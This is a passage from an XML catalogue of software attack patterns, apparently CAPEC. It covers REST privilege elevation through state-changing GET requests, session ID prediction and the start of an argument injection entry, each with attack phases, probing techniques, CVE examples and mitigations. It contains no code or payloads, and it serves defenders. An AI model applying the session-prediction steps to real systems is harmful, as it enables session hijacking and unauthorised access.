			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>HTTP protocol communications</Text>
			</Injection_Vector>
			<Payload>
				<Text>Command(s) executed directly on host</Text>
			</Payload>
			<Activation_Zone>
				<Text>Client machine and client network</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Enables attacker to execute server side code with any commands that the
						program owner has privileges to.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>300<!--Channel Accessible by Non-Endpoint ('Man-in-the-Middle')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>287<!--Improper Authentication--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>724<!--OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>693<!--Protection Mechanism Failure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>94<!--Man in the Middle Attack--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Gunnar Peterson</Submitter>
						<Submission_Date>2007-02-28</Submission_Date>
						<Submission_Comment/>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-07</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Description
							and Attack Prerequisites</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="58" Name="Restful Privilege Elevation" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>Rest uses standard HTTP (Get, Put, Delete) style permissions methods, but
						these are not necessarily correlated generally with back end programs.
						Strict interpretation of HTTP get methods means that these HTTP Get services
						should not be used to delete information on the server, but there is no
						access control mechanism to back up this logic. This means that unless the
						services are properly ACL'd and the application's service implementation are
						following these guidelines then an HTTP request can easily execute a delete
						or update on the server side.</Text>
					<Text>The attacker identifies a HTTP Get URL such as
						http://victimsite/updateOrder, which calls out to a program to update orders
						on a database or other resource. The URL is not idempotent so the request
						can be submitted multiple times by the attacker, additionally, the attacker
						may be able to exploit the URL published as a Get method that actually
						performs updates (instead of merely retrieving data). This may result in
						malicious or inadvertent altering of data on the server.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The attacker needs to be able to identify HTTP Get URLs. The Get methods
						must be set to call applications that perform operations other than get such
						as update and delete.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>The HTTP Get method is designed to retrieve resources and not to alter
							the state of the application or resources on the server side. However,
							developers can easily code programs that accept a HTTP Get request that
							do in fact create, update or delete data on the server. Both Flickr
							(http://www.flickr.com/services/api/flickr.photosets.delete.html) and
							del.icio.us (http://del.icio.us/api/posts/delete) have implemented
							delete operations using standard HTTP Get requests. These HTTP Get
							methods do delete data on the server side, despite being called from Get
							which is not supposed to alter state.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>It is relatively straightforward to identify an HTTP Get method that
							changes state on the server side and executes against an overprivileged
							system interface</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Attacker may enumerate URLs to identify vulnerable services.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Enforce principle of least privilege</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Ensure that HTTP Get methods only retrieve state and do
						not alter state on the server side</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Ensure that HTTP methods have proper ACLs based on what
						the funcitonality they expose</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Payload delivered through standard communication protocols. In the Flickr and
					del.icio.us examples above, this is done through a normal web browser</Text>
			</Injection_Vector>
			<Payload>
				<Text>Command(s) executed directly on host</Text>
			</Payload>
			<Activation_Zone>
				<Text>Client machine and client network</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Enables attacker to execute server side code with any commands that the
						program owner has privileges to.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>267<!--Privilege Defined With Unsafe Actions--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>269<!--Improper Privilege Management--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>264<!--Permissions, Privileges, and Access Controls--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>1<!--Accessing Functionality Not Properly Constrained by ACLs--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>233<!--Privilege Escalation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Description>
						<Text>Mark O'Neill, "Security for REST Web Services",
							http://www.vordel.com/downloads/rsa_conf_2006.pdf</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Gunnar Peterson</Submitter>
						<Submission_Date>2007-02-28</Submission_Date>
						<Submission_Comment/>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-07</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in
							Description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="59" Name="Session Credential Falsification through Prediction"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack targets predictable session ID in order to gain privileges.
						The attacker can predict the session ID used during a transaction to perform
						spoofing and session hijacking.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Find Session IDs</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker interacts with the target host and
												finds that session IDs are used to authenticate
												users.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>An attacker makes many anonymous connections
												and records the session IDs assigned.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-Peer2Peer env-CommProtocol
												env-ClientServer</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>An attacker makes authorized connections and
												records the session tokens or credentials
												issued.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-Peer2Peer env-CommProtocol
												env-ClientServer</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Web applications use session IDs</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Network systems issue session IDs or
												connection IDs</Text>
												</Indicator_Description>
												<Environments>env-CommProtocol env-ClientServer
												env-Peer2Peer</Environments>
											</Indicator>
										</Indicators>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor logs for
												unusual amounts of invalid
												sessions.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Monitor logs for
												unusual amounts of invalid connections or invalid
												requests from unauthorized
												hosts.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Characterize IDs</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker studies the characteristics of the
												session ID (size, format, etc.). As a results the
												attacker finds that legitimate session IDs are
												predictable.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Cryptanalysis. The attacker uses
												cryptanalysis to determine if the session IDs
												contain any cryptographic protections.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Pattern tests. The attacker looks for
												patterns (odd/even, repetition, multiples, or
												other arithmetic relationships) between IDs</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Comparison against time. The attacker plots
												or compares the issued IDs to the time they were
												issued to check for correlation.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Patterns are detectable in
												session IDs</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Session IDs pass NIST FIPS 140
												statistical tests for cryptographic
												randomness.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Success">
												<Outcome_Description>Session IDs are
												repeated.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Match issued IDs</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker brute forces different values of
												session ID and manages to predict a valid session
												ID.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker models the session ID algorithm
												enough to produce a compatible series os IDs, or
												just one match.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Session identifiers
												successfully spoofed</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>No session IDs can be found or
												exploited</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Use matched Session
											ID</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker uses the falsified session ID to
												access the target system.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker loads the session ID into his
												web browser and browses to restricted data or
												functionality.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>The attacker loads the session ID into his
												network communications and impersonates a
												legitimate user to gain access to data or
												functionality.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-CommProtocol env-Peer2Peer
												env-ClientServer</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor the
												correlation between session IDs and other station
												designations (MAC address, IP address, VLAN,
												etc.). Alert on session ID reuse from multiple
												sources.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Terminate both
												sessions if an ID is used from multiple
												origins.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target host uses session IDs to keep track of the users.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Session IDs are used to control access to resources.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The session IDs used by the target host are predictable.For example, the
						session IDs are generated using predictable information (e.g., time).</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Spoofing</Method_of_Attack>
				<Method_of_Attack>Brute Force</Method_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Jetty before 4.2.27, 5.1 before 5.1.12, 6.0 before 6.0.2, and 6.1
							before 6.1.0pre3 generates predictable session identifiers using
							java.util.random, which makes it easier for remote attackers to guess a
							session identifier through brute force attacks, bypass authentication
							requirements, and possibly conduct cross-site request forgery
							attacks.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2006-6969</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>mod_usertrack in Apache 1.3.11 through 1.3.20 generates session ID's
							using predictable information including host IP address, system time and
							server process ID, which allows local users to obtain session ID's and
							bypass authentication when these session ID's are used for
							authentication.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2001-1534</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>There are tools to brute force sesion ID. Those tools require a low
							level of knowledge.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Predicting Session ID may require more computation work which uses
							advanced analysis such as statistic analysis.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>The attacker can perform analysis of the randomness of the session
							generation algortihm.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>The attacker may need to steal a few valid session IDs using a
							different type of attack. And then use those session ID to predict the
							following ones.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>The attacker can use brute force tools to find a valid session
							ID.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Use a strong source of randomness to generate a session ID.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use adequate length session IDs</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Do not use information available to the user in order to generate session
						ID (e.g., time).</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Ideas for creating random numbers are offered by Eastlake [RFC1750]</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Encrypt the session ID if you expose it to the user. For instance session
						ID can be stored in a cookie in encrypted format.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>290<!--Authentication Bypass by Spoofing--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>330<!--Use of Insufficiently Random Values--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>331<!--Insufficient Entropy--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>346<!--Origin Validation Error--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>488<!--Data Leak Between Sessions--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>539<!--Information Leak Through Persistent Cookies--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>200<!--Information Exposure--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>6<!--J2EE Misconfiguration: Insufficient Session-ID Length--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>285<!--Improper Access Control (Authorization)--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>384<!--Session Fixation--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>693<!--Protection Mechanism Failure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>719<!--OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>196<!--Session Credential Falsification through Forging--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>351<!--WASC Threat Classification 2.0 - WASC-18 - Credential/Session Prediction--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Securing the Weakest Link</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>J2EE</Framework>
					<Framework>.NET</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Eric Dalci</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-25</Submission_Date>
						<Submission_Comment/>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-07</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="6" Name="Argument Injection" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker changes the behavior or state of a targeted application
						through injecting data or command syntax through the targets use of
						non-validated and non-filtered arguments of exposed services or
						methods.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Discovery of potential injection
											vectors</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Using an automated tool or manual discovery, the
												attacker identifies services or methods with
												arguments that could potentially be used as
												injection vectors (OS, API, SQL procedures,
												etc.).</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Manually cover the application and record
												the possible places where arguments could be
												passed into external systems.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a spider, for web applications, to
												create a list of URLs and associated
												inputs.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Arguments are used by the application in
												exposed services or methods</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>No parameters appear to be used.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
											<Indicator ID="3" type="Negative">
												<Indicator_Description>
												<Text>Application does not use any inputs.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of parameters, arguments
												to modify is identified.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>A list of URLs, with their
												corresponding parameters (POST, GET, COOKIE, etc.)
												is created by the attacker.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor velocity of
												page fetching in web logs. Humans who view a page
												and select a link from it will click far slower
												and far less regularly than tools. Tools make
												requests very quickly and the requests are
												typically spaced apart regularly (e.g. 0.8 seconds
												between them).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Create links on some
												pages that are visually hidden from web browsers.
												Using IFRAMES, images, or other HTML techniques,
												the links can be hidden from web browsing humans,
												but visible to spiders and programs. A request for
												the page, then, becomes a good predictor of an
												automated tool probing the
												application.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Use CAPTCHA to prevent
												the use of the application by an automated
												tool.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Actively monitor the
